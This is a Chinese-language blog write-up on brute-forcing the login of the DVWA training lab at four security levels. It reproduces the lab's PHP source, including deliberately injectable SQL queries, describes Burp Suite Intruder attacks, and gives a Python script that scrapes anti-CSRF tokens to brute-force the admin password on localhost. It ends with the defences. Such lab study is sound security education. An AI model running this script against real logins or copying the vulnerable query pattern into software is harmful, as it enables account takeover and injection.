CTF web writeup 网络安全 dvwa 靶机

DVWA靶机学习——Brute Force(爆破)

这个系列是学习DVWA靶机的。今天学习Brute Force的Low、Medium、High、Impossible级别。

Posted by K4ys0n on July 13, 2020

0x00 Brute Force

即暴力破解，需要在DVWA Security中设置各种等级如Low、Medium、High和Impossible等。然后默认账号是admin，默认密码password，我们这里只假设知道账户名admin，密码需要用字典爆破。 在Brute Force中登录成功的话，页面会多显示一下这行

Welcome to the password protected area admin

0x01 Low

源码分析

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

不难看出，源码仅对密码进行了md5加密，然后就提交到数据库，并未做任何限制处理。所以直接进行爆破即可。

解题思路

输入账号admin，密码随意。设置Burpsuite代理拦截，然后点击提交。

将拦截到的代码发送到Intruder模块，然后在Positions页面设置Payload Positions中的参数，只保留password参数，其他的不做爆破处理，Attack type设置为Sniper。

在Payloads页面选择Payload set为1，Payload type为Simple list。并且在Payload Options中把字典导入进来。

最后选择Start attack开始爆破。

0x02 Medium

源码分析

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );			//延时2秒
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

涉及两个知识点：

  • mysqli_real_escape_string(string,connection) ：函数会对字符串string中的特殊符号（\x00，\n，\r，\，‘，“，\x1a）进行转义，基本可以抵抗SQL注入
  • $GLOBALS ：引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量（从函数或方法中均可）。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。

这里是把输入的username和password都进行过滤，用mysqli_real_escape_string()函数进行转义。还有一点是如果密码输入错误需要延时2秒钟。

解题思路

同Low级别。

输入账号admin，密码随意。设置Burpsuite代理拦截，然后点击提交。

将拦截到的代码发送到Intruder模块，然后在Positions页面设置Payload Positions中的参数，只保留password参数，其他的不做爆破处理，Attack type设置为Sniper。

在Payloads页面选择Payload set为1，Payload type为Simple list。并且在Payload Options中把字典导入进来。

最后选择Start attack开始爆破。只不过会慢一点。

0x03 High

源码分析

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

比Medium又多几个知识点：

  • Anti-CSRF Token ：即源码中的user_token，是用来抵御CSRF攻击的。每次访问token值是不一样的，所以在爆破的时候要每次都获得新的token。
  • stripslashes()：去除字符串的反斜杠\

解题思路

同Medium级别。

输入账号admin，密码随意。设置Burpsuite代理拦截，然后点击提交。

编写脚本如下：

import requests
import re

header = {
    "Host": "127.0.0.1:9000",
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
    "Accept": "text/css,*/*;q=0.1",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Cookie": "security=high; PHPSESSID=7d41j3jo4n2qhoo75kpe0ebao6"
}
url = "http://127.0.0.1:9000/dvwa/vulnerabilities/brute/"

# 打开密码，每行都是一个密码
with open("常用密码.txt", "r") as f:
    lines = f.readlines()

count = 1
for line in lines:
    # 获取token
    response = requests.get(url, headers=header)
    token = re.findall(r"name='user_token' value='(.*?)' />", response.text, re.S)[0]
    # 测试密码
    requrl = url + "?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + token
    response = requests.get(requrl, headers=header)
    print(str(count), "admin", line.strip(), response.status_code, len(response.content))
    if "Welcome to the" in response.text:
        print("密码是：", line)
        break
    count += 1

header可以直接用浏览器访问然后F12查看得到。后面requrl有若干个参数，包括username、password、Login、user_token等，通过GET请求提交。判断登录成功的标志是返回页面多了一行内容

Welcome to the password protected area admin

0x04 Impossible

源码分析

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;		// 连续登录总次数不超过3次
    $lockout_time       = 15;		// 连续登录失败3次后锁定时间15分钟
    $account_locked     = false;	// 锁定状态，用于判断是否锁定

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里包含的防御方法：

  • Anti-CSRF token
  • mysqli_real_escape_string过滤username、password的\x00，\n，\r，\，’，”，\x1a等字符。
  • stripslashes去除反斜杠\
  • 连续登录最多3次，3次后失败锁定15分钟。
  • 采用了更安全的PDO（PHP Data Object）机制防御sql注入，因为使用PDO扩展本身不能执行任何数据库操作。
  • prepare预编译。

解题思路

暂无。

0x05 小结

防御方法：

  • 使用CSRF token，以防CSRF攻击。
  • mysqli_real_escape_string等函数过滤username、password的\x00，\n，\r，\，’，”，\x1a等字符，以防SQL注入。
  • 设置延时和登录失败锁定等，连续登录最多3次，3次后失败锁定15分钟。
  • prepare预编译，也就是采用了更安全的PDO（PHP Data Object）机制防御sql注入，因为使用PDO扩展本身不能执行任何数据库操作。

0x06 参考

https://blog.csdn.net/qq_36119192/article/details/82938424

CATALOG
    FEATURED TAGS
    生活 博客 git windows github 树莓派 WiFi Python nginx uwsgi Django MySQL Mariadb 后端 笔记 bootstrap 前端 设计模式 npm CTF web writeup 网络安全 dvwa 靶机 学习笔记 SQL注入 Access Mssql Oracle PostgreSQL XSS CSRF 命令执行 文件包含 SSRF XXE php 工具 信息搜集 端口扫描 渗透测试 AWD 漏洞利用 jsp python 权限提升 域渗透 内网渗透 Linux 端口转发 JS加密 爬虫逆向 MSF 免杀 Windows 木马 CDN 服务器 pwn
    FRIENDS